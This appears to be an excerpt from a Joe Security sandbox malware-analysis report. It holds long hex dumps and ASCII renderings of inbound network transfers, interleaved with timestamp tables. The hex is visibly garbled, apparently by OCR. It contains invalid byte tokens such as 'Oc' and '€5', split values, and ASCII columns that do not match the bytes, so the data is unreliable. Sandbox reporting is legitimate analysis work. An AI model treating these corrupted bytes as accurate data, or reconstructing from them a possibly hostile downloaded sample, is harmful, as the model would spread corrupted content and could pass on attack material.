e5 9e b5 2e 7b 66 17 66 fd 66 eb 0d f2 eb da da 75 66 eb 0d ea ed da da 75 66 9e 0d e2 eb da da 75 66 9e 0d da a2 da
da 75 8f 25 8d 25 29 25 25 0d 87 Ob da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 eb 0d ba a0 da da 75 66 eb 0d b2 a2
da da 75 66 9e 0d aa a0 da da 75 66 9e 0d a2 a2 da da 75 8f dc 8d 25 29 25 25 0d 4f Ob da da 5e 0d 27 83 36 9e 2e 7b 6
6 17 66 fd 66 fb 66 9e 0d 94 da da da 60 e5 ea b9 e5 83 36 9e b5

Data Ascii: 2.ddfe!fw!d'dO<-REZ<-RE]6:9fm!o!P1n’P {fffufufufu%%)%%"'6 {fffufufufu%)%%O"'6.{ffff 6

Data Raw: 9¢c 1c 25 75 66 29 90 6d 9c 1c 25 75 66 a2 0d Oa 9e da da 75 0d 94 bc da da 3a 83 36 9e b5 2e 66 fd 8f 25 8d
ab 25 25 25 8f 27 8f 25 8f 25 8d 25 25 25 e5 66 9e 0d 2d 9e da da 75 0d b7 bc da da 36 9e 0d b2 da da da 9e 66 e5 2e
7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d a2 07 da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f
3a 8336 9e 2e 7b 32 2¢ 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d fe be da da 60 e5 50 e2 a2 29 49 da da da da
66 29 49 7f 32 83 36 9e 30 66 11 5e €9 1d 2e 7b 66 17 66 fd 66 20 2d 64 20 1d 66 20 31 64 20 21 7b 68 20 21 75 66 20 1
d 75 2e 0d 74 07 da da 64 20 1d 66 20 1d 66 30 21 83 36 34 34 38 e7 2d 25 75 0d ef 05 da da 9e b5 30 66 11 5c €9 d9

23 da da 2e 66 fd 68 60 d9 23 da da 75 66 9e 0d 6b e7 da da 75 0d 4d

Data Ascii: %uf)m%ufu:6.f%%%%'%%%%%f-u6f.{2,fff%hil)u2{.'P)If)l:6 {2 fff%hil)u2{. P)If)1:60f {fff -d f 1d {h !uf u.td f
0!6448-%u0f\#.fh #ufkuM
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Timestamp transferred Direction
2022-06-26 07:42:48 UTC 90 IN
2022-06-26 07:42:48 UTC 91 IN
2022-06-26 07:42:48 UTC 92 IN
2022-06-26 07:42:48 UTC 93 IN
2022-06-26 07:42:48 UTC 95 IN
2022-06-26 07:42:48 UTC 96 IN
2022-06-26 07:42:48 UTC 97 IN
2022-06-26 07:42:48 UTC 99 IN
2022-06-26 07:42:48 UTC 100 IN

Copyright Joe Security LLC 2022

Data

Data Raw: Oc e5 64 20 21 de 28 35 64 58 1d Oc e5 64 20 19 64 20 15 64 20 11 e4 f7 99 e8 14 f3 99 e4 d1 61 00 99 33 cf
6f 50 ce 64 1d 06 20 1d c4 fe de 25 25 14 f3 99 17 d1 61 00 99 c4 68 83 23 64 38 0d ad 20 c2 61 08 50 e0 14 f3 99 01 d1
0d a3 25 25 25 61 5f 50 2f 64 38 19 14 f3 99 a6 d1 c6 bc 64 38 05 96 da da da da 61 53 50 2f 14 f3 99 dd d1 0d 7f 25 25
2564 38 01 64 50 fd 2c 77 0d 70 25 25 25 7f 66 38 05 04 a6 4e 27 Oc b6 a5 58 c2 08 50 2f 04 ef 4e 29 dc ac Oc f7 ce c9
62 b4 04 ef 4e 29 dc ac Oc f7 d5 45 ce cf 62 b4 04 ef 4e 29 dc ac Oc f7 ce c9 5e 58 15 25 99 2f 77 68 20 15 0d 41 da da
da 7f 34 66 50 fd c4 22 da da da Oc b6 61 4f 99 47 61 55 97 18 61 14 52 14 44 b6 2f 25 25 25 51 55 ea db e5 dc 9e 14 {3
99 de d1 c6 09 7d c4 55 da da da 66 20 19 16 20 2d 5a 37

Data Ascii: d !(5dXd d d a3oPd %%ah#d8 aP%%%a_P/d8d8aSP/%%%d8dP,wp%%%f8N'XP/N)bN)EbN)"X%/wh
A4fP"a0GaUaRD/%%%QU}Uf -Z7

Data Raw: 25 ad 20 17 a2 20 11 25 25 25 25 dd ee 25 25 25 a5 d4 25 50 f2 66 20 31 5e 1d 27 58 e0 dd 27 25 25 25 5e
1d 37 a3 e0 dd 37 25 25 25 64 20 31 75 dd ea 02 25 25 a5 58 35 27 97 de 66 20 2d 75 68 20 f9 0d 38 27 25 25 66 58 21
ea 92 20 f9 08 da 5a 25 25 5e 1d 27 4e 3f 64 9c 0d 95 25 25 25 68 d9 24 e5 bl 65 25 de 50 11 94 de 25 25 25 ce c9 c6 0
86850 b2 ea db 38 35 a5 d6 dc 99 35 a5 d6 29 52 e4 ea 9a 20 f9 16 20 31 a3 27 8e 25 68 41 78 d1 b1 65 25 de 38 11
66 f6 de 38 11 da ae 64 1d 06 20 21 36 83 3a c4 cc dc 25 25 b4 bl 65 25 10 68 65 25 91 68 65 25 91 68 65 25 fb 68 65
2524 73 6b 73 1c 73 d1 2d €5 50 de d5 55 73 9e a5 58 fb 25 99 de d5 08 cf 9e 0d cc da da da ea 9a 28 9 Oc f7 16 28 31
5a f8 5e d4 d8 al 3d e4 a4 5a 3f d5 55 cf a5 63 25 99 5f af 20 d6 cf d2

Data Ascii: % %%%%%%%%Pf 1N"X'%%%"77%%%d 1u%%X5'f -uh 8'%%fX! Z%%"N'N?d%%%h$e%P%%%hP855)R
1'%hAxe%8f8d 16:%%e%he%he%he%he%$skss-PUsX%((1Z"=Z2?Uc%_

Data Raw: da 36 a5 da 08 50 27 b4 05 a5 d6 25 99 29 ba 1a c6 27 b6 1a 76 ba 05 8b 84 e4 25 50 2b d5 dc c6 29 b8 fd Oc
€5 76 b6 07 b4 48 1d 76 ¢6 7b d1 2d e5 99 29 61 45 99 d2 73 9e Oc €5 Oc 7 d1 51 5f 29 2f 4e ea ff €8 al 9c 1c 25 64 20
19 f 20 19 67 c6 Of 73 9e Oc €5 Oc {7 af 33 a5 d4 06 99 €0 a5 d4 08 50 dc 6b af 2b 51 5f 29 2f 4e 33 6b 46 7 2f dc e7 5¢
1 19 dc 25 25 97 Of a5 d4 08 50 27 d2 ff 9e 36 83 3a 66 cO 38 9e 30 66 11 5e €9 5 2e 66 fd 8f 25 8f ea 8f 25 68 30 2d
68 20 €5 Oe a4 0d f5 d4 da da 66 ed 68 30 €5 66 9e 0d 31 8a da da 36 66 c0 38 €7 31 25 b5 30 66 11 5e e9 e5 2e 66 fd 8f
25 8f 25 8f 25 68 30 2d 68 20 e5 8c dc 0d ¢5 d4 da da 66 ed 68 30 €5 66 9e 0d 01 d3 da da 36 66 c0 38 e7 2d 25 b5 2e
7b 66 17 66 fd 66 9e 0d 72 d7 da da 66 fb Oe a4 0d 9b 23

Data Ascii: 6P'%)'v%P+)VHV{-)aEsQ_)/N%d gs3Pk+Q_)/N3KF/\%%P'6:180f.1%%h0-h th0f16f819%60fA.1%%%6h0-h fhOf6fs-
o6 {fifri#

Data Raw: 66 ff 60 b6 99 3f 66 30 2d 66 b7 21 23 da da 66 28 2d 68 b9 ec 25 da da da 66 a6 0d fb b9 da da 66 20 2d dc
bd 21 23 da da 36 38 9e 66 e5 30 66 11 2e 66 fd 66 20 2d 75 66 9e 0d d2 86 da da 66 f5 66 9e 0d c7 da da da 34 36 38
9e 66 e5 30 66 11 5e €9 05 2e 7b 66 17 66 fd 66 20 2d 75 8f 29 64 50 05 eb 20 09 25 64 38 0d eb 20 11 25 68 20 05 75
8f dc 94 b1 9c 1c 25 68 20 15 df 35 25 25 25 0d d9 ca da da 66 f5 68 20 15 0d 7f da da da 34 83 36 66 c0 38 9e 68 65 25
3066 11 2c 66 20 2d 5e e5 21 66 35 64 30 21 c6 27 da 25 66 35 af 37 66 28 2d 5f 2c d6 99 17 66 25 06 20 21 65 66 30 2
d 64 67 19 34 38 9e 66 5 30 66 11 66 20 2d a5 9d c8 25 50 4f 66 20 2d 66 65 2d da 95 31 da 95 2d 66 20 2d 68 6d 13
66 20 2d 68 75 15 66 20 2d 5e e5 17 0d 70 23 da da 66 20 2d eb 65 c8

Data Ascii: f 2f0-flf(-h%ff -1#68fOf.ff -ufff468f0f . {fff -u)dP %d8 %h u%h 5%%%fh 46f8he%O0f,f -A1f5d0!'%f57f(-_,f% lef0-
dg48foff -%POf -fe-1-f -hmf -huf -"p#f -e

Data Raw: 25 0d ca 1f da da 34 c4 ed e0 25 25 30 0d Oa d6 da da 34 30 0d 7d d6 da da 34 66 20 2d 75 30 68 30 fd 66 20
19 0d 9a d6 da da 34 66 20 fd Od c7 1f da da 34 c4 76 e0 25 25 30 0d 27 d6 da da 34 30 0d 06 d6 da da 34 66 20 2d 75
30 6830 f9 66 20 19 0d 23 21 da da 34 66 20 f9 0d 50 1f da da 34 c4 93 e0 25 25 30 0d b0 1f da da 34 30 0d 23 1f da da
34 66 20 19 6d 5e 0d 27 97 29 99 3d ¢6 55 66 20 2d 75 ea 92 20 15 66 30 19 0d 89 1f da da 34 c4 18 e0 25 25 66 20 2d
75 ea 92 20 15 66 29 60 d1 Ob 1c 25 0d 4f 1f da da 34 c4 fe e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 01 Ob 1c 25 0d 35
1f da da 34 c4 e4 e0 25 25 30 0d 95 1f da da 34 66 20 19 6d 5e 0d 27 97 2f 99 00 6d 99 24 6d 99 48 c6 5a 30 0d ab 1f da
da 34 66 20 2d 75 ea 92 20 13 66 30 19 0d d4 d4 da da 34 c4 7

Data Ascii: %4%%040}4f -uOhOf 4f 4v%%0'404f -uOhOf #!4f P4%%040#4f m"')=Uf -u f04%%f -u f)" %04%%f -u

) %54%%04f mN/m$mHZ04f -u f04

Data Raw: 66 20 2d 75 dd c1 0b 1c 25 df dc 25 25 25 0d 00 dO da da 34 c6 40 66 2b 64 20 01 c6 fa 66 2b af 25 00 da 25
25 25 ea 7e €0 3d 9c 1c 25 4e e6 66 2b 0d 6b f8 25 25 64 2b c6 27 da 2b 66 2b a5 5d 25 99 e4 66 2b af 25 5f 20 d6 50 ac
66 20 2d 75 66 3b 06 30 01 66 20 01 0d b6 19 da da 34 66 2b a5 5d 25 99 3b da 2b c6 37 66 20 2d 75 68 20 d6 df dc 25
25 25 0d €3 19 da da 34 66 2b a5 5d 25 ea 60 ff 1d da da 66 20 2d da ad 1d 23 da da Oe e5 7f 34 34 89 64 35 8d 0 c7 65
25 68 20 f9 df 27 25 25 25 0d 1a c3 da da 9e c4 4c 72 da da c6 c6 3a 83 36 66 c0 38 9e 1c 28 0a 75 28 25 25 25 1c 0a 75
25 1c 28 75 28 25 25 25 25 1c 1c 1c 1c 25 25 25 25 1c 1c 1c 25 45 25 25 25 30 66 11 5¢ €9 1d 23 da da 2e 7b 66 ff 66 15
0e €5 64 60 21 23 da da Oe €5 64 60 1d 23 da da 60 b6 99 €6

Data Ascii: f -U%606%%64@F+d F+96%%606~=96NF+k9606d+++]96f+96_ PF -Uf,0f 4F+]06;+7f -uh %%6%64+]%'f -#44d5e%h '
060611 618(U(%60%6%UY6(U(Y6%6%Y6%6%YY60E %Y6060N {ffd Hd #

Data Raw: 13 8b 66 20 17 8b 64 20 11 c6 5b 8b 66 58 15 af 20 c4 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 19 8b 64 20
11 c6 3f 8b 66 58 19 af 20 c6 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 15 8b 64 20 11 5e 58 21 25 a3 33 30 ea 92 a2
0d e2 23 da da 34 66 1d c6 95 a5 58 0d 27 52 8f 0d 46 ca da da ea 92 ed ea 92 e0 09 e5 1c 25 06 ed 66 9c 2c 94 89 25
25 25 74 d2 d4 34 8b 46 e5 89 8b de 1d 8b 5e 18 09 e5 1c 25 25 9b 61 ea 92 a2 16 ed a3 10 8b 5e a2 89 c6 Oa 0d 55 ca
da da 66 1d a5 58 1b dc 50 37 8b 66 20 19 8b 64 20 11 8b 66 20 17 8b 64 20 13 c6 35 8b 66 20 19 8b 64 20 13 8b 66 20
17 8b 64 20 11 66 ae af e8 6¢ Ob 1c 25 66 eb 0d 3e 21 da da 66 ae 66 eb 0d 3b d6 da da a5 18 79 c2 1c 25 25 ea a9 8e
25 25 25 66 f0 b9 Ob 1c 25 dd d5 cd 65 25 0d f4 c3 da da 60 e5 ea a9 76

Data Ascii: fd [fX fdfd ?fX fd fd"X!%30#4fX'RF%f,%%%t4F %%a UfXP7f d fd 5f d f d fl%f>!ff;y%%%%%{%e% v

Data Raw: da da 66 9e 0d d4 b9 da da c6 e4 66 9e 66 fb 0d 77 b9 da da 83 36 66 cO 38 e7 29 25 66 €5 2e 7b 32 2c 66 b4
66 17 66 1d 8f 27 68 69 49 29 75 7b 32 0d 29 dd da da 60 €5 a3 €0 af 29 49 c6 27 66 9e 7f 3a 83 36 9e 30 66 11 2¢ 2e
7b 32 64 28 21 66 1f 66 15 66 38 2d 2e 66 20 35 66 65 21 Oe a4 66 fb 0d 46 da da da 5e 16 25 50 e8 66 20 21 66 29 dd
66 ae 0d 58 d7 da da 3a 83 36 34 38 e7 2d 25 b5 30 66 11 Oe a4 2c 2¢ 2¢ 2¢ 2¢ 2¢ 2e 7b 32 Oe €5 30 8d 86 88 65 25 89
da 55 89 64 45 0d a2 92 da da 64 20 21 96 dc 25 25 25 €3 d5 Ob 1c 25 9a 05 Ob 1c 25 30 8f €6 68 20 19 75 94 b5 9¢ 1c
25 66 ae 6f 68 1e 69 6d 0d 54 da da da 34 66 30 19 66 eb 0d b3 6e da da 30 8f e6 68 20 15 75 94 €5 9¢ 1c 25 66 ae 6f 68
1e 5d 6d 0d 7b da da da 34 66 30 15 66 a2 0d 46 6e da da le 5e a2 29

Data Ascii: fffw618)%f.{2, ff hil)u{2)")I':60f, {2d(1fff8-.f 5felfFA%PF If)fX:648-%0f, ..., {20e%UdEd 196%%%%0h u%fohimT
4f0fnOh u%foh]m{4fofFn®)

Data Raw: 7b 0d a6 8e da da 5c 98 01 21 da da 25 35 25 25 50 41 8d e0 dc 25 25 68 60 0f d8 da da 75 66 60 f5 21 da da
75 0d 9a d7 da da 60 e5 50 fe 8d e0 dc 25 25 68 60 Of d8 da da 75 7c 8d Ob 1c 25 75 0d c9 d7 da da 66 eb 0d 68 da da
da 64 20 19 c6 e4 06 90 f5 21 da da 64 50 19 68 60 Of d8 da da d7 81 0d b7 33 25 25 66 f5 67 68 60 ca 23 da da 94 29 dc
25 25 0d 22 ae da da dd 09 d7 65 25 64 20 21 dd 09 d7 65 25 64 20 1d 66 9e 66 fO d5 4a 65 25 0d 53 a9 da da a9 e5 99
04 66 1e 29 0d fb b7 da da 64 20 21 66 20 21 0d c6 f7 da da 60 €5 99 37 66 30 21 a5 al 27 da 53 99 2d dd 0d d7 65 25 6
420 1d 8d 25 dc 25 25 68 60 0f 21 da da 75 7c 5d f5 1c 25 66 65 29 75 7c 8d Ob 1c 25 0d d3 7c da da 75 0d 75 8e da da
68 70 c9 d6 da da 66 de 0d 8a 5c da da 68 60 c9 d6 da da 64 60 c9

Data Ascii: {\!%5%%PA%%h uf u’P%%h u|%ufhd !dPh 3%%fgh #)%%"e%d !e%d ffle%Sf)d !f ' 7f0I'S-e%d %%%h
“lu|]%fe)u|%|uuhpfih*d®
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Data

Data Raw: da da 66 20 21 64 20 09 eb 20 0d e6 64 50 11 eb 20 15 6 64 58 19 eb 20 1d 25 68 20 09 75 8f 27 68 30 05
7¢ 0d aa 1c 25 0d 2 cd da da 66 28 05 d7 dc 7c fd 52 65 25 0d 11 21 da da 66 fd Oe e5 7f 34 34 89 64 35 8d 06 92 65 25
68 20 05 0d 8 64 da da 68 20 21 0d €0 64 da da 9e c4 36 a7 da da c6 0d 66 9e 3a 83 36 66 cO 38 9e 64 f1 64 39 49 66
48 25 ¢4 56 a7 da da 9e 66 €5 30 66 11 0d 61 da da da 68 28 2d 5e 9c 29 66 30 2d 0d ff da da da 38 e7 29 25 66 €5 66 e
8 el 3 1c 25 d7 dc 7c 5d 9d 65 25 0d 23 21 da da 0d 20 a7 da da 9e 66 25 18 b7 25 25 e5 5a 51 99 34 18 b3 25 25 €5 5a
f0 99 2e 08 €0 25 25 e5 99 30 08 62 25 25 25 99 61 6d 99 6d c6 30 €0 4c da da 1a 5e 0d 27 97 Oe 99 12 c6 22 18 bb 25
25 e5 5a ec 99 10 08 6e 25 25 e5 99 4d 6d 99 ee 6d 99 3b c6 Oa 08 d8

Data Ascii: f Id dP dX %h u'h0|%f(|Re%!f44d5e%h dh 1d61:6f8dd9IfHY6VIOfah(-")f0-8)%1T%|Je%#! {%%%ZQ4
%6%2Z.%%600%%%ammOLA"%%ZNn%%Mmm:;

Data Raw: 94 a5 25 25 25 0d 48 ab da da 5c e9 b9 25 25 25 9e 66 e5 7b 32 66 1f Oe f7 60 €5 99 8b a5 61 5d 25 99 85 60
da 50 39 af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 71 d7 dc c6 6d 66 d2 73 c6 dc 73 60 1b al 37 af 31 55 5¢ bc da 25
2525 ea 7e 8 3d 9c 1c 25 97 c4 66 aa 06 f3 5¢ be dc 25 25 a5 54 e0 24 5e a4 23 1c 60 a4 50 29 d7 27 c6 ee af 29 5d
00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 27 d7 dc 66 e7 3a 83 9e 68 65 25 2e 7b 66 17 66 fd Oe e5 a5 18 79 c2 1c 25 25
99 ea 66 9e 0d 49 ad da da 66 fh 6f 0d 8d da da da 83 36 9e b5 Oe a4 a5 18 79 c2 1c 25 25 99 e2 0d 79 da da da 66 ed 6
6 9c 9e 68 65 25 2e 7b 66 17 66 fd 66 9e 0d ce 60 da da 16 15 a3 e4 66 9e 0d 0d 60 da da 66 15 66 fb 66 9e 0d e0 25 25
25 83 36 9e 66 e5 2e 7b 32 30 66 1f 66 15 Oe c8 60 da a3 6b 66 eb

Data Ascii: %%%H\%%%f{2f a]% P9%%%%~=%Nqmfss 71U\%%%~=%A\%%T$"# P)')]|%%%~=%N'f:he%.{ffy%%of
1fo6y%%yffhes {fff f fff%6%%6f {20ff kf

Data Raw: 7c 6d c2 1c 25 0d 99 da da da 75 0d 9b c7 da da Oe 1b c6 04 af 69 12 2b af 81 12 e2 4f fd 97 3f 1e ad 20 da af
20 da 00 da 25 25 25 ea 86 €0 3d 9c 1c 25 23 20 da 23 a6 50 Of 5e eb 27 5e 23 31 58 2f af 69 12 2b 2f 69 12 e2 50 ed 3a
833634 389e 7c 71 c2 1c 25 5e 1d fa 52 e2 ea 7e e0 35 9e 1c 25 ea b7 e5 9e 68 65 25 30 66 11 5¢c €9 89 23 da da 2e
7b 32 a2 e0 6d c2 1c 25 e4 29 25 25 a2 e0 71 c2 1c 25 e4 25 25 25 a2 e0 75 ¢2 1c 25 dc 25 25 25 0d 48 c7 da da 60 e5
99 e0 7e 6d c2 1c 25 8b 60 e5 99 6 66 f5 8b 5¢ 07 da de ea 92 f7 64 f0 71 c2 1c 25 ea 92 e5 9c 0d 2f 7e 75 c2 1c 25 e3
61 9e 65 25 9a 3d 9c 1c 25 94 2d 25 25 25 ce 80 5e 18 f5 e5 1c 25 27 ea 60 88 25 25 25 0d 48 da da da a9 e5 99 ee eb
e030c2 1c 25 25 eb e0 79 c2 1c 25 25 ¢4 9a 25 25 25 30 0d 15

Data Ascii: |[m%ui+O? %%%=%# #P " #1X/i+/iP:648|q%"R~5%he%0f\#.{2m%)%%q%%%%u%%%%H ~m% f\dq
%/~u%ae%=%-%%%"%" %% %H0%%y%%%% %0

Data Raw: 25 da 00 59 ce 1c 25 66 e5 30 66 11 5e €9 11 2e Oe e5 64 20 11 Oe €5 30 8d 91 a2 65 25 89 da 55 89 64 45
0d 20 78 da da 66 fd 60 b6 99 12 64 38 15 eb 20 19 25 68 30 11 66 9e 0d af 09 da da 66 20 11 64 20 1d eb 20 21 e6 68
20 15 75 8f dc 66 €8 cd aa 1c 25 d7 dc 7c 15 9d 65 25 0d 9d c8 da da 66 f5 c6 39 66 e8 45 5 1c 25 d7 dc 7c 15 9d 65 25
0d 4b c8 da da 66 f5 64 7f 31 66 €7 0d 8b 97 da da Oe e5 7f 34 34 89 64 35 8d 4e a2 65 25 68 20 11 0d 98 9d da da 9e ¢
4 ee 97 da da c6 15 36 66 c0 38 9e 2e 66 fd 60 b6 50 €0 0d 7d da da da 66 9e 36 9e 2e 7b 2c 96 39 9e 1c 25 66 19 c6 3b
66 de 64 2b 66 2b 66 25 64 de df 2d 25 25 25 66 2b 0d 5f 87 da da 5e 16 25 50 c0 7f 83 36 9e b5 2e 8d 11 a2 65 25 0d
7c cl dada 66 fd 60 b6 99 35 8d 21 a2 65 25 2e 0d bd c1 da da 7e 61

Data Ascii: %Y%f0f*.d 0e%UdE xf'd8 %h0ff d !h uf%|e%fofE%|e%Kfd1f44d5Ne%h 6f8.f P}6.{,9%f;fd+f+{%d-
%%%f+_"%P6.e%|f 5'e%.~a

Data Raw: da da 66 29 49 da 6d 31 66 29 49 5e 9d 31 25 50 6d 66 f9 66 1e 45 0d e4 d8 da da 0d €9 72 da da 16 1e 49

99 59 68 1e 31 0d 92 d6 da da 66 ed 5c d4 da da 25 25 50 e4 66 9e 0d 43 23 da da c6 f4 60 a4 5a fO 66 9c 94 da da 25
2574 d2 d4 60 7 50 e2 66 9e 0d de 23 da da 7f 36 9e 66 35 Oe a4 64 2d 66 e7 0d e2 8d da da 9e 66 e5 30 66 11 5e e9 1
9 2e 66 fd 77 0d 2c bd da da 64 20 19 Oe e5 30 8d 2f a8 65 25 89 da 55 89 64 45 b4 58 23 Oe e5 30 8d 11 f1 65 25 89 da
55 89 64 45 66 9e 0d 3d 9d da da 75 0d ef 72 da da 64 20 1d Oe e5 7f 34 34 89 64 35 8d ce f1 65 25 b6 07 b4 48 23 9e c4
6e 91 da da c6 ce Oe e5 7f 34 34 89 64 35 8d ec a8 65 25 66 20 19 75 0d ca 72 da da 9e c4 50 91 da da c6 ca 66 20 1d
36 66 cO 38 9e 68 65 25 f8 25 25 25 31 9e 1c 25 bl aa 1c 25 29 9e 1c

Data Ascii: f)lm1f)I*"1%PmffErlYh1A\%%PfC# Zf%%t Pf#6f5d-ffOf*.fw,d 0/e%UdEX#0e%UdEf=urd 44d5e%H#n44d5e%f
urPf 6f8he%%%%1%%)

Data Raw: 65 dd 41 a8 65 25 0d 45 91 da da dd 2d f3 65 25 0d 63 91 da da a5 18 40 Ob 1c 25 25 99 ea dd 5d 9c 1c 25 df
0d ac 65 25 0d ef 93 da da 0d e4 c4 da da 0d 2d 0f da da 0d ce dO da da Od bb cc da da Oe e5 7f 34 34 89 64 35 8d b6 ac
65 25 9e c4 86 42 da da c6 1d 38 9e 25 25 25 da da da da 27 25 25 25 55 9d 25 25 2e 7b 66 17 66 fd 16 ce 58 33 66 9e
06 eb 0d b4 81 da da de eb 83 36 9e 66 eb 06 9e 0d a6 81 da da de 9e 83 36 9e 66 e5 30 66 11 Oe e5 30 8d 14 7 65 25
89 da 55 89 64 45 da e0 cd c2 1c 25 Oe e5 7f 34 34 89 64 35 8d 65 {7 65 25 9e c4 6b 42 da da c6 1d 38 9e 66 e5 5e 08 cd
€2 1c 25 dc 9e 30 66 11 Oe e5 30 8d 4c f7 65 25 89 da 55 89 64 45 da e0 d1 c2 1c 25 Oe e5 7f 34 34 89 64 35 8d 9d 7 65
25 9e c4 33 42 da da c6 1d 38 9e 66 e5 5e 08 d1 c2 1c 25 dc 9e

Data Ascii: eAe%E-e%c@%%]%e%-44d5e%B8%%% '%%%U%%.{ffX3f6f6f0f0e % UdE%44d5ee%kB8f %0f0Le%UdEYS
44d5e%3B8f"%

Data Raw: 15 66 9e 36 34 38 e7 35 25 b5 da 00 6d ce 1c 25 66 e5 da 00 69 ce 1c 25 66 e5 da 00 65 ce 1c 25 66 e5 da 00
61 ce 1c 25 66 e5 30 66 11 2c 2e 7b 66 ff 66 15 64 38 21 66 20 2d 5e 9d 21 25 99 f4 7b 66 20 2d 66 65 21 75 0d 18 68 da
da 64 20 21 5e 58 21 25 50 de 64 38 21 66 20 21 83 36 34 38 9e b5 30 66 11 2c 8d 5d b4 65 25 0d 37 68 da da 64 20 21
30 df c9 7 65 25 dd 6d b4 65 25 0d 82 da da da 34 7e d5 c2 1c 25 30 df f9 f7 65 25 dd 81 b4 65 25 0d 6¢ da da da 34 7e
d9 c2 1c 25 30 df f9 7 65 25 dd 89 b4 65 25 0d 56 da da da 34 7e dd c2 1c 25 30 df 05 f7 65 25 dd 91 b4 65 25 0d 40 da
da da 34 7e el c2 1c 25 30 df 05 f7 65 25 dd 99 b4 65 25 0d 2a da da da 34 7e e5 c2 1c 25 30 df 05 f7 65 25 dd al b4 65
25 0d 14 da da da 34 7e €9 c2 1c 25 30 df 05 f7 65 25 dd a9

Data Ascii: f6485%m%fi%fe%fa%fof, {ffd8!f -~%({f -feluhd "X!%Pd8!f 16480f,]e%7hd !0e%me%4~%0e%e%l4~
9%0e%e%\V4~%0e%e% @4~%0e%e%*4~%0e%e%4~%0e%

Data Raw: 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20
7b 3c 97 44 3¢ 93 99 79 54 95 40 1e 3c 4e 99 20 97 97 4a 97 66 €5 el 01 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 el 01 65 25 31 25 25 25 al 52 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25
ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3¢ 97 44 3¢ 93 99 2a 9b 40 97 8b 91 4a 52 20 97
97 4a 97 66 e5 45 b8 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 45 b8
65 25 31 25 25 25 al 52 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1l
59 65 25 2 20 7b 3¢ 97 44 3¢ 93 99 24 93 9b 3c 91 44 89 1c 97 42 20 97 97

Data Ascii: %[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<yT@<N Jfe%%%%%6%%% %% %% %%%6%6%0% % %% %%%% %%
9%%e%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<*@JIR JFfEe%%%% %% %% %%%%%%% %% %%

%% %%%%%%%%Ee%1%%%Re%[e%[e%[e%[e%[e%Y Ye%uYe%YeY {<D<$<DB

Data Raw: 25 68 20 21 0d c2 34 da da 9e c4 94 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd Oe e5 30 8d
37 ¢8 65 25 89 da 55 89 64 45 68 20 21 0d d3 53 25 25 66 9e 66 30 21 0d €9 63 25 25 Oe e5 7f 34 34 89 64 35 8d f4 c8
65 25 68 20 21 0d f2 2e da da 9e c4 48 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd Oe e5 30 8d 83 c8 65
25 89 da 55 89 64 45 68 20 21 0d 3f 61 25 25 66 9e 66 30 21 0d 2d 1a 25 25 Oe e5 7f 34 34 89 64 35 8d 40 c8 65 25 68
20 21 0d f6 48 da da 9e c4 fc 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd Oe e5 30 8d cf c8 65 25 89 da
55 89 64 45 68 20 21 0d 27 16 25 25 66 9e 66 30 21 0d b5 63 25 25 Oe e5 7f 34 34 89 64 35 8d 8¢ c8 65 25 68 20 21 0d a
a 91 da da 9e c4 b0 26 da da c6 15 36 34 38 9e 68 65 25 2e 7b 32

Data Ascii: %h 149648he%0f%.f07e%UdEh !S%%ff0!c%%44d5e%h !|.Hq648he%0f%.f0e%UdEh [?a%%ff0!-
%%44d5@e%h 'Hq648he%0f%.f0e%UdEh !'%%ff0!c%%44d5e%h '&648he% {2
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Timestamp transferred Direction
2022-06-26 07:42:48 UTC 119 IN
2022-06-26 07:42:48 UTC 123 IN
2022-06-26 07:42:48 UTC 127 IN
2022-06-26 07:42:48 UTC 131 IN
2022-06-26 07:42:48 UTC 135 IN
2022-06-26 07:42:48 UTC 139 IN
2022-06-26 07:42:48 UTC 143 IN
2022-06-26 07:42:48 UTC 148 IN
2022-06-26 07:42:48 UTC 152 IN

Copyright Joe Security LLC 2022

Data

Data Raw: da 57 89 64 47 66 20 21 8b 66 25 ea 92 f5 5e 1f 39 ea 62 a6 dc 25 25 da 49 70 3a d8 65 25 8e d8 65 25 eb d8
65 25 ca d8 65 25 27 23 65 25 39 23 65 25 4f 23 65 25 65 23 65 25 81 23 65 25 97 23 65 25 35 da 65 25 fe da 65 25 60
23 65 25 1f 23 65 25 35 da 65 25 fe da 65 25 fe da 65 25 bd 23 65 25 86 23 65 25 9a 23 65 25 ae 23 65 25 0b 23 65 25
a2 20 15 25 25 25 25 a2 20 19 25 25 25 25 c4 8d de 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 39 25 8b dd dc 25 0d 01 07 d
adaa2 2015 25 25 25 25 a2 20 19 25 25 25 25 c4 1a de 25 25 66 20 21 ea 9a 65 2d 74 64 20 15 64 30 19 c4 51 de 25
25 66 20 21 66 65 2d 74 64 20 15 64 30 19 c4 3f de 25 25 66 20 21 b4 65 2d 0d a0 Oa da da 64 20 15 64 30 19 c4 29 de
25 25 66 20 21 b8 65 2d 0d 8a Oa da da 64 20 15 64 30 19 c4 13 27 25 25

Data Ascii: WAGf 1f%"9b%%I|p:e%e%e%e% #e%9#e%O#eYeHeYotteYtte%5e%e% #eYotte%5e%e%e%He Y%
